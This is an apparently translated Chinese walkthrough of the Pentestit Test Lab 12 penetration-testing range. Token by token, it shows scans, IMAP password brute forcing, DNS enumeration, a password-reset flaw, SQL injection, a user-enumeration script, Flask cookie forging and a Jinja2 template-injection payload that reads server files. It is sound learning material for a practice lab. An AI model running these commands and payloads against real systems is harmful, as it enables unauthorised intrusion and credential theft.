Pentestit Test Lab第12期-安全客

Test Lab是Pentestit每年更新的渗透测试系列实验靶场。本文介绍的是该系列第12期实验靶场The great equalizer的通关流程。（译者注：进入靶场过程已经略去）

搜索目标

靶场内部网段是192.168.101.X（掩码255.255.255.0）。首先，需要使用nmap在网段中找到“存活主机”：

nmap -sn 192.168.101.0/24

-sn 使用arp请求探测目标IP是否存活

发现了三台主机，其中192.168.101.1已经知道是网关：

192.168.101.1
192.168.101.12
192.168.101.13

第二步是扫描存活主机的开放端口情况。

nmap -sV -Pn 192.168.101.12-13 -p-
-sV 探测端口服务(软件)版本 
-Pn 禁ping扫描
-p- 扫描全部端口（0-65535）

从Nmap报告中可以看到192.168.101.13没有开放端口，所以下面从192.168.101.12入手。端口80显示有WEB服务。但直接访问它会被重定向至site.test.lab。原因是缺少DNS配置无法解析域名。结合浏览器和curl进一步证实：

curl http://192.168.101.12:80/
curl http://site.test.lab/

在/etc/hosts文件中写入site.test.lab DNS记录后便能正常访问。

第一步是收集该站点信息。最重要的是识别网站采用的CMS。可以使用wig工具：

wig -u http://site.test.lab/

从输出报告中我们得知站点使用了Wordpress，主要有：

IP和title。
web应用名称，版本和类型。
敏感的页面。
可使用的工具。
可能存在的漏洞（包含CVE链接）。

扫描WordPress及其安装插件（漏洞最多），wpscan工具是首选。

wpscan --url http://site.test.lab/ --enumerate p --random-user-agent

--url URL
--enumerate p – 扫描插件基本信息
--random-user-agent – 随机user-agent

得到WordPress版本、（可能存在的）漏洞和已安装的插件。事实上，这些漏洞对获取权限起不了多大作用，有价值的是WP启用的插件。这里发现启用了“ wp-survey-and-poll”插件。（需要注意的是，由于没有漏洞数据库，扫描工具只能获取软件的相关信息，很难显示所有现有漏洞。）扫描结果：

WP版本：4.9.8。
Twentyseventeen：启用，v1.9（译者注：主题）
插件：wp-survey-and-poll v 1.5.7

使用searchsploit快速搜索exploit-db数据库（kali默认离线缓存），没找到WP 4.9.8版本的漏洞。但有两个插件的漏洞：

searchsploit "WordPress Survey Poll"

下图是漏洞详情。一个很常见的cookie布尔盲注。在（调查问卷页面中）回答问题时，修改cookie（wp_sap）字段为payload。payload很简单：（任何表达式）OR 1 = 2（恒假），这样数据库只显示UNION后查询结果，回显位为第10位。但是后来发现网站有waf，这个漏洞没法利用。

MAIL token

碰壁后，只能找找其他的入口。上面WP上可以找到用户名info@test.lab，尝试爆破这个用户。8080端口有个WEB服务，但是启用了CSRF token（没法直接爆）。25端口smtp，密码也没跑出来。最后只剩下端口143（IMAP服务）。使用hydra进行爆破后，发现密码原来这么简单。

hydra -l info@test.lab -P '/root/rockyou.txt' imap://192.168.101.12

用这个邮箱账号可以登录192.168.101.12:8080。下面就是分析邮件，收集所有信息，以便后面派上用场。结果发现了：

收件箱：VPN配置文件vpn.conf。
发件箱：MAIL Token。
用户名：sviridov@test.lab

第二层VPN

我们需要进入公司内网。在连接外层VPN的基础上，我们又拿到了新的VPN配置文件。这种技术称为VPN over VPN-在VPN内再连接VPN。我们需要VPN用户名和密码才能连入新的VPN。现在我们只知道2个用户名（info和sviridov）以及info的密码。尝试组合已知的用户名和密码进行连接，如果不行就只能爆破了：

创建userVPN.txt文件，其中第一行是用户名，第二行是密码。
将该文件路径添加到VPN配置文件的auth-user-pass后。
创建bash脚本OverVPN.sh：openvpn —config 配置文件路径＆
赋予执行权限：chmod 770 ./OverVPN.sh
运行：./ OverVPN.sh

幸运的是info@test.lab用户就能连，现在可以访问新的172.16.0.0/16网段。

和之前一样，首先扫描下网段的“存活主机”：

nmap -sn 172.16.0.0/16

发现有四个：

逐个扫描每个主机。172.16.0.1上没什么东西。可以猜测这台就是192段的192.168.101.13，我们连接到172段就是通过它。172.16.0.10只开了80端口，Web服务。172.16.0.17上有不少东西。172.16.1.2也没啥，很可能是另一个段的VPN服务网关。

DNS token

由于下一个是token名字叫DNS，因此我们分析172.16.0.17上的DNS服务，主要漏洞是获取DNS记录-DNS域传输（即AXFR请求）。

首先使用nslookup查询域和DNS服务器名称。

nslookup
> set type=ANY
> set port=53
> SERVER 172.16.0.17
> test.lab

第二步使用dig实现DNS域传输：

dig @172.16.0.17 ns1.test.lab axfr

（域传送）DNS服务器没有响应。但是它知道网络上其余的DNS。dnsrecon工具进行任何dns操作，比如获取网络上其余的DNS，并将它们添加到/etc/hosts文件中。

dnsrecon -d test.lab -n 172.16.0.17 -t brt

-d 域 
-n dns服务器
-t 指定使用技术，brt为暴力破解。

扫描主机172.16.0.17时，我们得到dns令牌。

dnsrecon -d test.lab -n 172.16.0.17 -a

hekpdesk token

下一个token名字叫helpdesk。在dns记录中也发现了同名子域名。它是172.16.0.10上运行的唯一服务。有一个简单的登录表单，目测不是用CMS搭建的。于是，试图用已知的用户登录。悄悄地走用户info@test.lab下。我们看到有个查询表单，填入token请求后，没有得到任何东西。这个功能应该每个用户都有，因此其他用户有可能可以获取到token。在页面上还发现有修改密码的功能。

对查询和修改密码表单进行各种扫描，没啥发现。然后查看密码修改页面的源代码。如果多次刷新，会注意到有个像CSRF token的隐藏字段一直不变。这显然不是CSRF令牌，只是串base64（解码后是数字）。

由于cookie没带上用户ID，所以很明显这是用户ID。思路有了：尝试修改所有ID的密码，如果成功的话就能用密码登录了。只有两个ID成功响应了修改密码的请求。逐个登录下，Root和admin没啥东西，sviridov@test.lab给了token。

AD token

在进入VPN之前，我们看下172.16.0.17上的服务，有个SAMBA ，工作组是TEST（从nmap结果中发现的）。扫下域中的用户：

enum4linux -U 172.16.0.17

Enum4linux给出了域、域中用户及其rid，还有一些其他信息。在用户信息中，我们拿到了token。扫出来的登录名最好随手存下。

User token

从之前helpdesk中，我们知道用户sviridov有VPN访问权限。我们还从helpdesk中拿到了他的密码。我们尝试用已有的VPN配置连接到192.168.101.12（在userVPN.txt中替换用户名和密码）。

连接成功，发现现在可以访问192.168.0.0/24和172.16.0.0/16两个段。

有必要继续扫下两个网络。之前172.16.0.0/16段已经扫过了，找到了8台存活主机。<br />而192.168.0.0/24这个段还没有扫过。很明显主机都有防火墙，扫描的时候得带上-Pn选项。结果看到大部分主机端口都被过滤了，只有下面一些主机打开了22端口：

192.168.0.10
192.168.0.15
192.168.0.30
192.168.0.100
192.168.0.205
192.168.0.240

192.168.0.0/24段上有6台存活主机开了ssh端口，我们都跑一遍，看下能不能用已知的用户密码登进去。

（译者注：图中用户info密码有误，应为123456789）

这里用了metasploit的auxiliay/scanner/ssh/ssh_login模块：

> use auxiliary/scanner/ssh/ssh_login
> set RHOSTS 192.168.0.10 192.168.0.15 192.168.0.30 192.168.0.100 192.168.0.205 192.168.0.240
> set USERPASS_FILE '/root/CTF/PT12/userspass.txt'
> exploit

用这两个用户登录所有机器并查找信息。在192.168.0.100上走了很长一段路后，发现访问权限错误。用户主目录可供所有人查看，下面有一个所属用户是sviridov的.token文件。于是使用Svridov登录，成功提交User token。

没有发现更多有价值的东西。查看IP路由没有发现其他网络。在/tmp/中有些搞不清楚的东西：

1.sh-什么也没给。
Client.jar-无法启动，因为没有JVM。
命名为DAGESTAN_SILA的nmap。
还有一堆垃圾。

VPN token

在172.16.0.0/16网络上，所有存活主机80端口都开着。逐个浏览下站点：

在172.16.1.10上找到一个token!!!我想到了VPN token。我推测是考察是否能以sviridov用户身份连接到192.168.101.12的VPN（果然是）。
172.16.1.12是一个系统登录界面（译者注：Prewikka）。
172.16.1.15上有个HTTP 401验证（Basic）。

挺简单的，继续往下。

SIEM token

转向172.16.1.12。首先了解下Prewikka：Prewikka是一套Prelude SIEM WEB应用，支持本地帐户或LDAP目录的身份验证。没找到相关漏洞，于是Google下默认用户名和密码，翻说明文档找到一组（prelude/preludepasswd）也不行。最后试了我们已有的两个用户密码，发现Sviridov可以登录。重要的是，只有管理员才能访问SIEM系统，所以说明Sviridov就是管理员，目前有了管理员权限。<br />进去发现显示的本月的数据。往前翻一个月看下记录数据。

只要注意我们添加到/etc/hosts的域名：

（admin.test.lab）172.16.1.25
（vpn-admin.test.lab）172.16.1.10
（repository.test.lab）172.16.1.15
（site.test.lab）172.16.0.14

在repository.test.lab日志中，我们找到一个令牌。

现在找到了site.test.lab的另一个IP，替换/etc/hosts中的记录，回去再试下之前发现的插件漏洞。

Site Token

转向site.test.lab，现在已经解析到172.16.0.14了，看看能不能绕过WAF。（成功绕过了waf）构造payload获取了DBMS版本和当前数据库。之后因为表名是默认的，所以直接拿到了用户名和哈希（默认情况下，用户表为wp_users）。但是爆破密码哈希没有跑出来。

于是，我们按照常规思路（获取的技术方法很简单，就不具体介绍了）-获得所有表名。发现了名叫token的表，获取下列名和数据类型，成功拿到了token。

Repository Token

在SIEM中，我们找到了repository.test.lab相关的日志（可以再回去看下）。试着用日志里的账号密码登录下:

成功！我们看到一些文件和token。

Reverse token

除了token之外，仓库里还有两个文件。能和Reverse扯上关系的应该只有bin文件了。于是简单地分析下这个可执行文件（用到了三个工具）：

strings-可显示文件中的所有可打印字符串。跑出了许多行base64编码，解码什么也没有。
Ltrace-跟踪进程调用库函数的情况。跑了下，发现没有调用任何库函数。
Strace-跟踪系统调用情况。跑了下，没有发现有用的信息。

跑了三个工具都没啥发现。在这种情况下，我更喜欢用Angr自动解决（将在后续文章中介绍有关angr库的更多信息）。python代码：

import angr
import claripy
proj = angr.Project('./bin')
simgr = proj.factory.simgr()
simgr.explore(find=lambda s: b"ACCESS GRANTED!" in s.posix.dumps(1))
s = simgr.found[0]
print(s.posix.dumps(0))

得到了token：

DB token

现在看下JAR文件。Java，反编译一下就能拿到源码。（反编译的工具有很多，推荐的有：JAD，JD-GUI，Javasnoop，Intellij Idea Decompiler, JD-plugin Eclipse）。我用JD-GUI来反编译并在IntelliJ IDEA中重建项目。按照以下步骤操作：

运行jd-gui(对于Linux需要解决下存在的启动问题)。创建包含以下内容的bash文件并执行：<br />
java --add-opens java.base/jdk.internal.loader=ALL-UNNAMED --add-opens jdk.zipfs/jdk.nio.zipfs=ALL-UNNAMED -jar /usr/share/jd-gui/jd-gui.jar
下载client.jar。
打开Intellij Idea→ Import Project。指定文件夹的路径。
从现有资源创建项目。

保存到JD-GUI

分析程序代码看下执行过程：第一步是设置连接和SSL参数：连接172.16.0.55的5074端口。第二步是输入一个数字来选择请求类型。之后，传入对应参数给Reqvest函数，Reqvest函数返回生成的json格式请求。最后发送请求来获取响应。<br />

存在问题是：我们目前无法访问172.16.0.55。但之前发现在192.168.0.240 Sviridov目录下有类似的jar客户端程序。这意味着可能因为路由配置，主机192.168.0.240可以访问这台服务器。所以我们可以尝试使用ssh进行端口转发。（这里使用的是sshuttle）

sshuttle -r sviridov@192.168.0.240 172.16.0.0/16

果然可以访问：

现在，用调试模式测试应用程序，需要重新构建项目来修改部分代码。F9运行应用程序时会报错，需要解决报错问题：

把重复的代码清理下。
针对json报错，从项目中删除整个文件夹即可。
打开Open Module Setting或F4
在“Dependencies ”选项卡中，点击“ +”添加指定jar文件。

成功运行后，便开始寻找漏洞。已知查询字符串是在Reqvest函数内部形成的，所以稍微改下代码，看服务端是怎么响应的。添加一段代码来控制返回参数并在控制台中输出，再分别执行四种查询。如图，返回一串JSON字符串。这个系统有点像之前的HelpDesk，会将用户请求再返回给用户。值得注意的是服务端返回了发出请求的用户名，所以服务端肯定有数据库。

为了使修改和微调参数更加方便，我们让函数不断返回相同的字符串。

由于服务端上有数据库，所以先检查下是否有SQL注入：

尝试延迟playload，发现10秒的请求比0秒要长得多，存在sleep注入。
检查是否有盲注。发现真值条件结果没有改变，因此存在盲注。
确定回显位。通过构造UNION联合查询并order by排序，确定回显位为第5列。
查找服务器信息：DBMS（@@version）和数据库名称（database()）。发现是MySQL数据库，库名为“ reqvest”。
通过information_schema查询表名。发现有token表。
注出token表中的列名。
注出token表的内容。

这个token还挺有意思的！

User API Token

之前在192.168.0.0/24上扫到了六台隐藏主机（需要-Pn），所以想到172.16.0.0/16段上可能也会有（隐藏主机）。扫描下常见的端口。输出比较多，可以直接搜关键字“ open”，发现了另外两台开放端口的主机。

172.16.1.20:8000被过滤了，看了下有个AJAX程序。按照常规方法扫描目录。Dirb结果：

contact页面对我们没啥用。login页面需要账号密码，同时支持某种条形码文件。多次访问这个页面会显示不同的图像。保存所有的4种图像，解码后为“ support_team”。

看一下扫出来的五个目录：contac，get_user_list，recover_password，login，support。访问get_user_list目录会提示有两个字符串参数-login和password。知道的几个用户和密码试下都不能登录。在条形码中，我们尝试登录support_team，也失败了。

后来无意中发现注入引号会有非正常的响应。
login=support_team“&password=“ and “1=1“

返回了一个像用户列表的东西。

用其他任意用户登录时，也会遇到相同的错误，应该是要找到正确的用户。于是写了一个脚本，遍历所有用户信息，把验证通过的找出来。

代码

from requests import get
list_user = [{"login": "potapova", "user": "Potapova"}, {"login": "popov", "user": "Popov"}, {"login": "kiselev", "user": "Kiselev"}, {"login": "semenova", "user": "Semenova"}, {"login": "kulikov", "user": "Kulikov"}, {"login": "uvarov", "user": "Uvarov"}, {"login": "blohina", "user": "Blohina"}, {"login": "frolova", "user": "Frolova"}, {"login": "volkova", "user": "Volkova"}, {"login": "morozova", "user": "Morozova"}, {"login": "fadeeva", "user": "Fadeeva"}, {"login": "gorbacheva", "user": "Gorbacheva"}, {"login": "pavlova", "user": "Pavlova"}, {"login": "ivanov", "user": "Ivanov"}, {"login": "safonov", "user": "Safonov"}, {"login": "kalinina", "user": "Kalinina"}, {"login": "krjukova", "user": "Krjukova"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "shubin", "user": "Shubin"}, {"login": "lapin", "user": "Lapin"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "zaharova", "user": "Zaharova"}, {"login": "kudrjashova", "user": "Kudrjashova"}, {"login": "sysoev", "user": "Sysoev"}, {"login": "panfilov", "user": "Panfilov"}, {"login": "konstantinova", "user": "Konstantinova"}, {"login": "prohorova", "user": "Prohorova"}, {"login": "lukin", "user": "Lukin"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "eliseev", "user": "Eliseev"}, {"login": "maksimov", "user": "Maksimov"}, {"login": "aleksandrova", "user": "Aleksandrova"}, {"login": "bobrova", "user": "Bobrova"}, {"login": "ignatova", "user": "Ignatova"}, {"login": "belov", "user": "Belov"}, {"login": "fedorova", "user": "Fedorova"}, {"login": "mihajlova", "user": "Mihajlova"}, {"login": "burov", "user": "Burov"}, {"login": "rogov", "user": "Rogov"}, {"login": "kornilov", "user": "Kornilov"}, {"login": "fedotova", "user": "Fedotova"}, {"login": "nikolaeva", "user": "Nikolaeva"}, {"login": "nikiforov", "user": "Nikiforov"}, {"login": "sobolev", "user": "Sobolev"}, {"login": "molchanova", "user": "Molchanova"}, {"login": "sysoev", "user": "Sysoev"}, {"login": "jakovleva", "user": "Jakovleva"}, {"login": "blinova", "user": "Blinova"}, {"login": "eliseev", "user": "Eliseev"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "komissarova", "user": "Komissarova"}, {"login": "kazakova", "user": "Kazakova"}, {"login": "lobanov", "user": "Lobanov"}, {"login": "panova", "user": "Panova"}, {"login": "ovchinnikova", "user": "Ovchinnikova"}, {"login": "bykov", "user": "Bykov"}, {"login": "karpov", "user": "Karpov"}, {"login": "panova", "user": "Panova"}, {"login": "guschina", "user": "Guschina"}, {"login": "korolev", "user": "Korolev"}, {"login": "shilov", "user": "Shilov"}, {"login": "burov", "user": "Burov"}, {"login": "zhuravlev", "user": "Zhuravlev"}, {"login": "fomichev", "user": "Fomichev"}, {"login": "ponomareva", "user": "Ponomareva"}, {"login": "nikiforov", "user": "Nikiforov"}, {"login": "bobrova", "user": "Bobrova"}, {"login": "stepanova", "user": "Stepanova"}, {"login": "dmitriev", "user": "Dmitriev"}, {"login": "dorofeeva", "user": "Dorofeeva"}, {"login": "silin", "user": "Silin"}, {"login": "tsvetkov", "user": "Tsvetkov"}, {"login": "antonov", "user": "Antonov"}, {"login": "belov", "user": "Belov"}, {"login": "novikova", "user": "Novikova"}, {"login": "martynov", "user": "Martynov"}, {"login": "kovalev", "user": "Kovalev"}, {"login": "egorov", "user": "Egorov"}, {"login": "kirillova", "user": "Kirillova"}, {"login": "chernova", "user": "Chernova"}, {"login": "dmitriev", "user": "Dmitriev"}, {"login": "kazakov", "user": "Kazakov"}, {"login": "gavrilova", "user": "Gavrilova"}, {"login": "beljaeva", "user": "Beljaeva"}, {"login": "kulakova", "user": "Kulakova"}, {"login": "samsonova", "user": "Samsonova"}, {"login": "pavlova", "user": "Pavlova"}, {"login": "zimina", "user": "Zimina"}, {"login": "sidorova", "user": "Sidorova"}, {"login": "strelkov", "user": "Strelkov"}, {"login": "guseva", "user": "Guseva"}, {"login": "kulikov", "user": "Kulikov"}, {"login": "shestakov", "user": "Shestakov"}, {"login": "ershova", "user": "Ershova"}, {"login": "davydov", "user": "Davydov"}, {"login": "nikolaev", "user": "Nikolaev"}, {"login": "andreev", "user": "Andreev"}, {"login": "rjabova", "user": "Rjabova"}, {"login": "grishin", "user": "Grishin"}, {"login": "turov", "user": "Turov"}, {"login": "kopylov", "user": "Kopylov"}, {"login": "maksimova", "user": "Maksimova"}, {"login": "egorov", "user": "Egorov"}, {"login": "seliverstov", "user": "Seliverstov"}, {"login": "kolobov", "user": "Kolobov"}, {"login": "kornilova", "user": "Kornilova"}, {"login": "romanov", "user": "Romanov"}, {"login": "beljakov", "user": "Beljakov"}, {"login": "morozov", "user": "Morozov"}, {"login": "konovalova", "user": "Konovalova"}, {"login": "kolobov", "user": "Kolobov"}, {"login": "koshelev", "user": "Koshelev"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "seleznev", "user": "Seleznev"}, {"login": "smirnov", "user": "Smirnov"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "voronova", "user": "Voronova"}, {"login": "zhdanov", "user": "Zhdanov"}, {"login": "zueva", "user": "Zueva"}, {"login": "mjasnikova", "user": "Mjasnikova"}, {"login": "medvedeva", "user": "Medvedeva"}, {"login": "knjazeva", "user": "Knjazeva"}, {"login": "kuznetsova", "user": "Kuznetsova"}, {"login": "komissarova", "user": "Komissarova"}, {"login": "gorbunova", "user": "Gorbunova"}, {"login": "blohina", "user": "Blohina"}, {"login": "tarasov", "user": "Tarasov"}, {"login": "lazarev", "user": "Lazarev"}, {"login": "rusakova", "user": "Rusakova"}, {"login": "vinogradov", "user": "Vinogradov"}, {"login": "shilov", "user": "Shilov"}, {"login": "strelkova", "user": "Strelkova"}, {"login": "komissarov", "user": "Komissarov"}, {"login": "kirillov", "user": "Kirillov"}, {"login": "jakusheva", "user": "Jakusheva"}, {"login": "mironov", "user": "Mironov"}, {"login": "kudrjavtseva", "user": "Kudrjavtseva"}, {"login": "vlasova", "user": "Vlasova"}, {"login": "fomin", "user": "Fomin"}, {"login": "nosova", "user": "Nosova"}, {"login": "aleksandrov", "user": "Aleksandrov"}, {"login": "teterina", "user": "Teterina"}, {"login": "gromov", "user": "Gromov"}, {"login": "odintsova", "user": "Odintsova"}, {"login": "schukin", "user": "Schukin"}, {"login": "shashkov", "user": "Shashkov"}, {"login": "lobanova", "user": "Lobanova"}, {"login": "suvorova", "user": "Suvorova"}, {"login": "panfilov", "user": "Panfilov"}, {"login": "loginov", "user": "Loginov"}, {"login": "kovalev", "user": "Kovalev"}, {"login": "rybakov", "user": "Rybakov"}, {"login": "konstantinova", "user": "Konstantinova"}, {"login": "bykov", "user": "Bykov"}, {"login": "lukina", "user": "Lukina"}, {"login": "vinogradov", "user": "Vinogradov"}, {"login": "antonova", "user": "Antonova"}, {"login": "nekrasov", "user": "Nekrasov"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "denisov", "user": "Denisov"}, {"login": "stepanova", "user": "Stepanova"}, {"login": "suvorova", "user": "Suvorova"}, {"login": "krjukova", "user": "Krjukova"}, {"login": "samojlova", "user": "Samojlova"}, {"login": "gromov", "user": "Gromov"}, {"login": "kazakov", "user": "Kazakov"}, {"login": "matveev", "user": "Matveev"}, {"login": "sergeeva", "user": "Sergeeva"}, {"login": "bobylev", "user": "Bobylev"}, {"login": "sitnikova", "user": "Sitnikova"}, {"login": "grishina", "user": "Grishina"}, {"login": "blinova", "user": "Blinova"}, {"login": "doronina", "user": "Doronina"}, {"login": "ignatov", "user": "Ignatov"}, {"login": "gromov", "user": "Gromov"}, {"login": "koshelev", "user": "Koshelev"}, {"login": "orehov", "user": "Orehov"}, {"login": "matveev", "user": "Matveev"}, {"login": "rozhkova", "user": "Rozhkova"}, {"login": "gerasimov", "user": "Gerasimov"}, {"login": "martynova", "user": "Martynova"}, {"login": "molchanova", "user": "Molchanova"}, {"login": "timofeeva", "user": "Timofeeva"}, {"login": "kuznetsov", "user": "Kuznetsov"}, {"login": "loginova", "user": "Loginova"}, {"login": "maslova", "user": "Maslova"}, {"login": "matveev", "user": "Matveev"}, {"login": "zaharov", "user": "Zaharov"}, {"login": "nikiforova", "user": "Nikiforova"}, {"login": "galkina", "user": "Galkina"}, {"login": "vishnjakova", "user": "Vishnjakova"}, {"login": "kulakov", "user": "Kulakov"}, {"login": "medvedev", "user": "Medvedev"}, {"login": "antonova", "user": "Antonova"}, {"login": "konovalov", "user": "Konovalov"}, {"login": "lazarev", "user": "Lazarev"}, {"login": "bobylev", "user": "Bobylev"}, {"login": "lihachev", "user": "Lihachev"}, {"login": "nikolaeva", "user": "Nikolaeva"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "gorbachev", "user": "Gorbachev"}, {"login": "nikolaev", "user": "Nikolaev"}, {"login": "semenova", "user": "Semenova"}, {"login": "semenov", "user": "Semenov"}, {"login": "kuznetsov", "user": "Kuznetsov"}, {"login": "gromova", "user": "Gromova"}, {"login": "samsonov", "user": "Samsonov"}, {"login": "konovalov", "user": "Konovalov"}, {"login": "gusev", "user": "Gusev"}, {"login": "sitnikov", "user": "Sitnikov"}, {"login": "ignatov", "user": "Ignatov"}, {"login": "voronova", "user": "Voronova"}, {"login": "mihajlov", "user": "Mihajlov"}, {"login": "lazareva", "user": "Lazareva"}, {"login": "nazarova", "user": "Nazarova"}, {"login": "krylova", "user": "Krylova"}, {"login": "morozova", "user": "Morozova"}, {"login": "medvedeva", "user": "Medvedeva"}, {"login": "samsonova", "user": "Samsonova"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "shirjaeva", "user": "Shirjaeva"}, {"login": "scherbakov", "user": "Scherbakov"}]
url = "http://172.16.1.20:8000/recover_password"
l = len(list_user)
valid=[]
for i in range(l):
    print(str(i)+" - " + str(l))
    req = get(url, params=list_user[i])
    if "use valid credentials" not in req.text:
        print(list_user[i])
        valid.append(list_user[i])
print(valid)

最后发现了medvedev这个用户。

尝试找回密码。“ +”被识别为空格，“＆”被视为分隔符，直接提交不起作用，需要URLencode编码下。最后拿到了token。

Image token

我们找到了Stego的图片。用binwalk和十六进制编辑器查看文件，检查文件中的附件，发现没有想要的东西。于是用stegsolve分析下。在最大的图片2和1 rgb位置找到了“下沉位”。这是LSB方法。

用python PIL库深入分析下，发现图片像素位只有三种取值：0、255和249。按照这个规则可以创建一个二进制图像图：对于条形码，正常的像素值应该是0或者255，所以可以用“ 0”代替正常值，用“ 1”代替非正常值249。每16位分割成行，并从中删除全是零的行。最后计算每行代表的16进制数，转换为字符串，从而得到token。

代码

from PIL import Image
import binascii
image = Image.open('./support4.png')
width, height = image.size
pix = image.load()
r=''
for i in range(height):
    for j in range(width):
        if(sum(pix[j,i])!=765 and sum(pix[j,i])!=0):
            r+='1'
        else:
            r+='0'
token=''
for i in range(0,len(r),16):
    if r[i:i+16] != '0'*16:
        token+=hex(r[i:i+16].find('1'))[2]
print(token)

My token

/etc/hosts文件中还有my.test.lab，是个登陆界面，之前没看过。用掌握的info，sviridov和medvedev用户密码成功后发现有个搜索栏。什么都没有，扫一下：用wapiti扫会被ban，尝试下SQL注入和XSS的查询，也会被ban。最后构造一个简单的测试SSTI的请求：{{7 * 7}}，返回49，找到代码执行了。

接下来需要确定服务器上使用的模板引擎，来知道具体环境（变量，函数，常量等）。按照下面的规则可以很容易地判断：

（已经知道是Jinja2或Twig）。发送请求：{{7 *’ 7’}}，正常执行，再通过{{self}}请求，确认是Jinja2 python模板引擎。

请求{{config}}看一下配置。找到了密钥，即token。

API token

翻阅文档发现jinja2会根据服务器的密钥生成cookie。要利用此漏洞，需要用到flask-session-cookie-manager脚本。尝试解密下，看看密钥是否有效，发现Cookie可以随便解：

知道Cookie的格式后，我们可以以任何用户身份登录。为此，还必须得生成cookie。我注意到中间件与系统时间之间存在相关性。我们更改日期，直到和中间件时间一致为止（发现是2060年）。生成了token和sviridov用户（的cookie），没有任何返回结果。于是改为生成adminde cookie并替换，返回了其他用户没有的密钥。

通过SSTI搜索RCE（远程代码执行）需要三天的时间。事实是，我们只能操作服务器上加载的模块及其功能。首先，需要找出什么功能，可以通过flask cookie来完成。

{{"".__class__.__mro__[1].__subclasses__()}}

将它插入cookie并刷新页面，服务器没有返回用户名而是返回了所有加载的python类。其中一个是Popen，用它能读取服务器上的文件。

可以按照/var/www/api/token路径读取文件。通过index访问该类（popen为94），调用open函数打开文件（为了绕过WAF需要断开文件路径）并使用read()函数读取文件内容。

{{[].__class__.__base__.__subclasses__(+)[94].__init__.__globals__['__builtins__']['open']('/var/www'+'/api/token','rb').read(+)}}

复制字节形式输出的文件内容，在python解释器中粘贴为字符串并写入文件。用file命令发现是* tar.gz压缩文件，打开后拿到了token。

Admin token

剩下最后一个token。压缩文件中还有一台主机ssh密钥。分析SIEM记录可以找到这台主机。

连接之前需要配置密钥文件的访问权限为600（ssh连接时会检查）。连上后会显示访问已关闭，并且错误出在密钥中。

查看密钥文件格式，发现内容与完整的不一样（译者注：少了SHA哈希值）。需要补上建立连接时接受的身份验证信息（即SHA哈希值），哈希值可以在SIEM中。

新旧证书

尝试在Sviridov（他是管理员）下连接，发现密钥不对。列下目前有的用户：

使用metasploit框架模块scanner/ssh/ssh_login_pubkey来批量测试下用户和密钥。最后发现是sidorov的用户密钥。

在文件系统中查找token。

find | grep token

找到并检查权限后提交token。

结语

至此第12期Pentestit TEST LAB通关。

由衷感谢这期实验的组织者（这次一些任务偏向于CTF而非渗透测试）。我希望这篇文章能帮助大家学习和发现新事物，同时让大家回忆起自己披荆斩棘，逐个攻破，最终通关的激动喜悦。下面就坐等13期了……

Pentestit Test Lab第12期

译文声明

搜索目标

MAIL token

第二层VPN

DNS token

hekpdesk token

AD token

User token

VPN token

SIEM token

Site Token

Repository Token

Reverse token

DB token

User API Token

Image token

My token

API token

Admin token

结语

发表评论

TA的文章

Google Cloud Platform StackDriver中的SSRF

Pentestit Test Lab第12期

通过Server Info中的缓冲区溢出实现Steam客户端RCE

在AWS Elastic Beanstalk中利用SSRF

旧酒犹香——Pentestit Test Lab第九期（下）

相关文章

记一所中学的的SQL报错注入

那些你需要知道的关于DORA的知识

经验分享｜记一次bc站实战

企业年度渗透安全测试具备相当大的局限性

实战记录之曲线救国

关于bypassuac的探究

弱密码测试工具blaster使用演示

热门推荐